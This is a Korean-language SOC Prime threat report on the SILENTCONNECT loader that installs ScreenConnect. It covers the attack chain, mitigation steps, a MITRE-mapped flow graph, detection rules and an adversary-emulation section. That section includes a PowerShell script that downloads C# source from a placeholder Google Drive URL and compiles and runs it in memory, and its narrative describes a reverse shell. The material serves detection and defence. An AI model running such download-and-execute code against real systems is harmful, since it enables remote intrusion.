SOC Prime Bias: Medium

25 3월 2026 17:18

초대에서 감염까지: 어떻게 SILENTCONNECT가 ScreenConnect를 전달하는가

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
초대에서 감염까지: 어떻게 SILENTCONNECT가 ScreenConnect를 전달하는가
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 보고서는 SILENTCONNECT라는 다단계 로더를 설명하며, 이는 VBScript 드로퍼, 메모리 내 PowerShell을 이용한 C# 코드 컴파일, PEB 가장을 통해 ConnectWise ScreenConnect 원격 관리 도구를 조용히 배포합니다. 공격은 피해자를 Cloudflare Turnstile CAPTCHA 페이지로 보내는 피싱 이메일로 시작되며, 그 후 VBScript 페이로드가 제공됩니다. 이 스크립트는 Google Drive에서 C# 구성 요소를 가져와 메모리에서 컴파일한 후 악성 도메인에서 ScreenConnect MSI를 다운로드하여 Windows 서비스로서 지속성을 확보합니다. 이 캠페인은 탐지 발자국을 줄이기 위해 신뢰할 수 있는 호스팅 서비스와 생활형 바이너리를 혼합합니다.

조사

Elastic Security Labs는 궁극적으로 Cloudflare R2에 호스팅된 E-INVITE.vbs 파일을 노출시키는 일련의 비정상적인 Windows Script 경고를 식별했습니다. 분석 결과 PowerShell 명령이 curl.exe를 호출하여 Google Drive에서 C# 소스 파일을 가져오고, 이를 메모리에서 직접 컴파일하고 실행하는 것이 확인되었습니다. 로더는 NtAllocateVirtualMemory를 사용하여 실행 가능한 메모리를 예약하고, PEB 가장을 적용하며, Windows Defender 예외를 삽입한 후 curl을 통해 ScreenConnect 설치 프로그램을 다운로드하여 msiexec를 통해 실행합니다. 네트워크 텔레메트리는 배포된 클라이언트가 TCP 포트 8041을 통해 bumptobabeco.top에 C2 엔드포인트에 도달했음을 보여주었습니다.

완화

보안 팀은 curl.exe를 호출하는 의심스러운 PowerShell 명령줄, C:Temp 아래의 임시 폴더 생성, 다운로드한 C# 소스 코드의 비정상적인 Add-Type 컴파일을 감시해야 합니다. 탐지 논리는 또한 BaseDLLName 또는 FullDllName 값이 실제 모듈 경로와 일치하지 않는 프로세스를 플래그하여 PEB 가장을 고려해야 합니다. MSI 설치 프로그램을 호스팅하는 낯선 도메인으로의 아웃바운드 트래픽은 차단해야 하거나 철저히 조사해야 합니다. 비신뢰 소스의 msiexec 실행은 엄격히 통제되어야 합니다. Windows Defender 예외는 승인된 관리 워크플로를 통해서만 적용되어야 합니다.

응답

이러한 지표가 관찰되면 즉시 영향을 받은 호스트를 격리하고, 악성 프로세스를 종료하며, 설치된 ScreenConnect 서비스를 제거하십시오. 임시 파일, 컴파일된 .NET 어셈블리, 드롭된 MSI 패키지를 포함하여 포렌식 증거를 수집하십시오. 권한 없는 Windows Defender 예외를 되돌리고 UAC 설정이 변경되었을 경우 복원하십시오. 그런 다음 더 넓은 환경에서 일치하는 로더 아티팩트를 찾고 새로 식별된 모든 IOC로 탐지 콘텐츠를 새로 고치십시오.

"graph TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc classDef malware fill:#ffdddd %% 노드 action_phishing["<b>행동</b> – <b>기술</b>: T1566 피싱<br/><b>설명</b>: 악성 콘텐츠를 전달하는 스피어피싱 이메일."] class action_phishing action action_user_click["<b>행동</b> – 사용자가 Cloudflare Turnstile 페이지로의 악성 링크를 클릭."] class action_user_click action malware_vbscript["<b>악성코드</b> – VBScript 파일<br/><b>기술</b>: T1059.005 비주얼 베이직<br/><b>설명</b>: 추가 코드를 실행하기 위한 비주얼 베이직 스크립트를 실행합니다."] class malware_vbscript malware tool_powershell["<b>도구</b> – PowerShell<br/><b>기술</b>: T1059.001 PowerShell<br/><b>설명</b>: 시스템 제어를 위한 PowerShell 명령을 실행합니다."] class tool_powershell tool tool_curl["<b>도구</b> – Curl<br/><b>기술</b>: T1570 측면 도구 전송<br/><b>설명</b>: 원격 저장소(Google Drive)에서 파일을 가져옵니다."] class tool_curl tool malware_compile["<b>악성코드</b> – 인메모리 C# 컴파일<br/><b>기술</b>: T1027.004 배달 후 컴파일<br/><b>설명</b>: C# 소스를 메모리에서 직접 컴파일합니다."] class malware_compile malware process_injection["<b>프로세스</b> – NtAllocateVirtualMemory<br/><b>기술</b>: T1055.002 프로세스 주입<br/><b>설명</b>: 페이로드 주입을 위한 대상 프로세스에 메모리를 할당합니다."] class process_injection process malware_peb["<b>악성코드</b> – PEB 가장<br/><b>기술</b>: T1036.011 가장하기<br/><b>설명</b>: winhlp32.exe로 나타나도록 BaseDLLName을 덮어씁니다."] class malware_peb malware tool_cmstp["<b>도구</b> – CMSTP<br/><b>기술</b>: T1218.003 시스템 바이너리 프록시 실행 CMSTP<br/><b>설명</b>: CMSTP COM 인터페이스를 사용하여 UAC를 우회합니다."] class tool_cmstp tool action_defender_exclusion["<b>행동</b> – <b>기술</b>: T1564.012 파일 경로 예외<br/><b>설명</b>: 악성 실행 파일에 대한 Microsoft Defender 예외를 추가합니다."] class action_defender_exclusion action tool_screenconnect_msi["<b>도구</b> – ScreenConnect MSI<br/><b>기술</b>: T1570 측면 도구 전송<br/><b>설명</b>: 원격 관리 설치 프로그램을 다운로드합니다."] class tool_screenconnect_msi tool tool_msiexec["<b>도구</b> – Msiexec<br/><b>기술</b>: T1547.010 부팅 로그온 자동시작 실행 포트 모니터링<br/><b>설명</b>: ScreenConnect 서비스를 조용히 설치합니다."] class tool_msiexec tool malware_screenconnect["<b>악성코드</b> – ScreenConnect 서비스<br/><b>기술</b>: T1219 원격 액세스 도구<br/><b>설명</b>: 시스템에 지속적으로 연결하며 명령 및 제어에 연결합니다."] class malware_screenconnect malware %% 연결 action_phishing –>|leads_to| action_user_click action_user_click –>|downloads| malware_vbscript malware_vbscript –>|launches| tool_powershell tool_powershell –>|uses| tool_curl tool_curl –>|fetches source for| malware_compile malware_compile –>|loads into| process_injection process_injection –>|enables| malware_peb malware_peb –>|enables| tool_cmstp tool_cmstp –>|triggers| action_defender_exclusion action_defender_exclusion –>|downloads| tool_screenconnect_msi tool_screenconnect_msi –>|installs via| tool_msiexec tool_msiexec –>|creates| malware_screenconnect "

공격 흐름

탐지 항목

가능한 Google Drive 피싱 (프록시 사용)

SOC Prime 팀
2026년 3월 24일

가능한 데이터 침투/유출/C2 via 제3자 서비스/도구 (dns 기반)

SOC Prime 팀
2026년 3월 24일

PowerShell 스크립트에 포함된 가능한 LOLBIN (powershell 사용)

SOC Prime 팀
2026년 3월 24일

가능한 LOLBAS 체인 (cmdline 사용)

SOC Prime 팀
2026년 3월 24일

Shell 프로세스에 의해 생성된 MsiExec (cmdline 사용)

SOC Prime 팀
2026년 3월 24일

파일 확장 프로그램을 TLD로 사용하는 피싱에 의한 가능한 초기 접근 (dns 사용)

SOC Prime 팀
2026년 3월 24일

원격 접속 소프트웨어 도메인 통신 시도가 의심스러운 지휘통제 활동 (dns 사용)

SOC Prime 팀
2026년 3월 24일

의심스러운 프로세스에 의해 해석된 Google Drive 도메인 (dns_query 사용)

SOC Prime 팀
2026년 3월 24일

비정상적인 최상위 도메인 (TLD) DNS 요청에 의한 의심스러운 C2 (dns 사용)

SOC Prime 팀
2026년 3월 24일

의심스러운 CURL 사용 (cmdline 사용)

SOC Prime 팀
2026년 3월 24일

일반적이지 않은 디렉터리에서 Msiexec 실행 파일이 실행될 가능성 (cmdline 사용)

SOC Prime 팀
2026년 3월 24일

IOC (HashSha256)를 탐지하려면: 초대에서 감염까지 – SILENTCONNECT가 ScreenConnect를 배포하는 방법

SOC Prime AI 규칙
2026년 3월 24일

IOC (이메일)를 탐지하려면: 초대에서 감염까지 – SILENTCONNECT가 ScreenConnect를 배포하는 방법

SOC Prime AI 규칙
2026년 3월 24일

IOC (소스IP)를 탐지하려면: 초대에서 감염까지 – SILENTCONNECT가 ScreenConnect를 배포하는 방법

SOC Prime AI 규칙
2026년 3월 24일

IOC (목적지IP)를 탐지하려면: 초대에서 감염까지 – SILENTCONNECT가 ScreenConnect를 배포하는 방법

SOC Prime AI 규칙
2026년 3월 24일

C# 페이로드 다운로드 및 실행을 사용한 의심스러운 PowerShell 실행 [Windows PowerShell]

SOC Prime AI 규칙
2026년 3월 24일

SilentCONNECT ScreenConnect 설치 파일 다운로드 및 실행 탐지 [Windows 프로세스 생성]

SOC Prime AI 규칙
2026년 3월 24일

시뮬레이션 실행

필수 전제 조건: 원격 측정 및 베이스라인 사전 비행 점검이 통과해야 합니다.

논거: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적의 기술 (TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 설명이 반드시 식별된 TTP와 직접 연관되어야 하며, 탐지 논리에 의해 기대되는 정확한 원격 측정을 생성하는 것을 목표로 합니다. 추상적이거나 관련이 없는 예시는 오진으로 이어질 수 있습니다.

  • 공격 서사 및 명령어:

    1. 초기 정찰 및 페이로드 검색 – 공격자는 Google Drive에 악성 C# 소스 파일을 호스팅합니다. PowerShell을 사용하여 다음을 통해 원시 파일을 다운로드합니다 Invoke-WebRequest.
    2. 메모리 내 컴파일 – 다운로드한 C# 소스가 다음으로 메모리 내에서 직접 컴파일됩니다 Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $src.
    3. 실행 – 결과 .NET 타입이 인스턴스화되고 그 Run() 메소드가 호출되어 역셸을 설정합니다.
    4. 난독화 – 명령줄은 다음과 함께 실행되어 -ExecutionPolicy Bypass 정책 차단을 피하고, 규칙이 감시하는 문자열과 정확히 일치시킵니다.
  • 회귀 테스트 스크립트:

    # -------------------------------------------------
    # 시뮬레이션 적 대본 – Sigma 규칙 트리거
    # -------------------------------------------------
    # 1. 원격 C# 페이로드 URL 정의(Google Drive 공유 링크)
    $payloadUrl = "https://drive.google.com/uc?export=download&id=YOUR_FILE_ID"
    
    # 2. 변수로 C# 소스 다운로드
    $csharpSource = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing | Select-Object -ExpandProperty Content
    
    # 3. 메모리 내에서 페이로드 컴파일 및 로드
    Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $csharpSource -Language CSharp
    
    # 4. 페이로드 실행 (정적 메소드 "Run"을 가진 "Payload" 클래스가 있다고 가정)
    # -------------------------------------------------
  • 정리 명령어:

    # 임시 파일(생성되지 않음) 제거 및 메모리 내 어셈블리 언로드
    # PowerShell은 직접적인 언로드를 제공하지 않음; 프로세스 종료 필요 시 사용
    Stop-Process -Id $PID -Force